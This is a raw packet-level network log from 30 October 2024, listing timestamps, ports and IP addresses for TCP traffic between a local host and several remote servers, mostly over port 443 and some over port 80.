Oct 30, 2024 15:59:32.277659893 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.277760029 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.277772903 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.278198004 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.278202057 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.278279066 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.278284073 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.290786028 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.291168928 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.291193962 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.292643070 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.292653084 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.405759096 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.405854940 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.405899048 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.405905008 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.405920029 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.405970097 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.406178951 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.406264067 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.408423901 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.408468962 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.408513069 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.408519983 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.408534050 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.408581018 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.414364100 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.414374113 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.414386034 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.414391994 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.414454937 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.414458990 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.414469004 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.414473057 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.421931028 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.421971083 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.422032118 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.423285961 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.423329115 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.423480034 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.423801899 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.423823118 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.424026012 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.424036980 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.434910059 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.435190916 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.435885906 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.436538935 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.436556101 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.436567068 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.436573029 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.447348118 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.447365999 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.447596073 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.447937012 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.447951078 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.547249079 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.549931049 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:32.549947023 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.550301075 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.552433014 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:32.552509069 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.556292057 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:32.597840071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:32.598006964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:32.599335909 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.637031078 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.637399912 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.637412071 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.638495922 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.638556004 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.639764071 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.639863014 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.640053034 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.640062094 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.689301014 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.689372063 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.689511061 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:32.690089941 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:32.690108061 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.706886053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:32.712368011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:32.722762108 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.762240887 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.762325048 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.764465094 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.764476061 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.764728069 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.766712904 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.811332941 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.846326113 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.846438885 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.848709106 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.848716974 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.848962069 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.849885941 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.895330906 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.954426050 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.954636097 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.954652071 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.954785109 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.954808950 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.954857111 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.954907894 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:32.954917908 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:32.977844000 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.977925062 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.978005886 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.986407995 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.986407995 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.986421108 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.986430883 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.008728027 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.008755922 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.008846998 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.009408951 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.009417057 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.159492016 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.159569979 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.160690069 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.160770893 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.161190987 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.161201000 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.161463022 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.162497044 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.162520885 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.162760019 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.162787914 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.163635015 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.164845943 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.164865971 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.164874077 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.164927959 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.164938927 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.164952993 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.164983034 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.164988041 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.165002108 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.165005922 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.165033102 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.165041924 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.194308996 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.194375992 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.195749044 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.195758104 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.196124077 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.196958065 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.207339048 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.211322069 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.243319988 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280462027 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280473948 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280514956 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280550003 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.280555964 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280571938 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.280589104 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.280616999 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.291101933 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.291941881 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.291992903 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.292045116 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.292059898 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.292073011 CET	49730	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.292081118 CET	443	49730	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.295173883 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.295207024 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.295289040 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.295510054 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.295525074 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.326495886 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.326528072 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.326567888 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.326581955 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.326617956 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.326771021 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.326780081 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.326791048 CET	49732	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.326796055 CET	443	49732	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.329693079 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.329724073 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.329787970 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.329941034 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.329951048 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.353458881 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.356163025 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.356292963 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.356372118 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.356372118 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.356388092 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.356398106 CET	443	49731	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.359357119 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.359383106 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.359523058 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.359704971 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.359719038 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.395781040 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.395801067 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.395857096 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.395876884 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.395924091 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.472805977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:33.472871065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:33.512767076 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.512801886 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.512840986 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.512861967 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.512908936 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.512908936 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.629336119 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.629362106 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.629450083 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.629472017 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.629582882 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.744128942 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.744152069 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.744232893 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.744249105 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.744298935 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.769669056 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.776890993 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.776913881 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.777519941 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.777524948 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.859159946 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.859184027 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.859242916 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.859268904 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.859407902 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.861536980 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.861552954 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.861598969 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.861607075 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.861654997 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.906663895 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.906841993 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.907272100 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.907747984 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.907759905 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.907818079 CET	49733	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.907823086 CET	443	49733	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.911897898 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.911936998 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.912013054 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.912180901 CET	49737	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.912192106 CET	443	49737	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.975811005 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.975830078 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.975878954 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.975893021 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:33.975908995 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:33.975938082 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.040785074 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.046632051 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.046663046 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:34.049077034 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.049077034 CET	49738	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:34.049119949 CET	443	49738	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:34.049361944 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.049382925 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.050045013 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.050050974 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.052772045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.057061911 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.058250904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.063328981 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.063344955 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.063915968 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.063920021 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.091149092 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.091170073 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.091238022 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.091253996 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.091505051 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.170934916 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.171525955 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.171545029 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.172172070 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.172178984 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.177967072 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.178042889 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.178328037 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.178697109 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.178710938 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.178723097 CET	49734	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.178729057 CET	443	49734	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.188647985 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.188698053 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.188797951 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.188882113 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.188882113 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.188973904 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.189455032 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.189469099 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.189697027 CET	49735	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.189697981 CET	49739	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.189702034 CET	443	49735	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.189711094 CET	443	49739	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.191972971 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.192002058 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.192070007 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.192428112 CET	49740	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.192442894 CET	443	49740	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.206482887 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.206502914 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.206583977 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.206595898 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.206672907 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.207865953 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.207882881 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.207958937 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.207967043 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.208012104 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.303477049 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.303508997 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.303565025 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.303648949 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.303898096 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.303910017 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.303920031 CET	49736	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.303926945 CET	443	49736	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.306809902 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.306850910 CET	443	49741	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.308507919 CET	49741	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.322583914 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.322604895 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.322675943 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.322686911 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:34.322896957 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:34.328577042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328650951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328674078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328744888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328762054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328768969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.328779936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328798056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:34.328819990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.328835964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:34.328875065 CET	80	49716	185.215.113.206	192.168.2.6
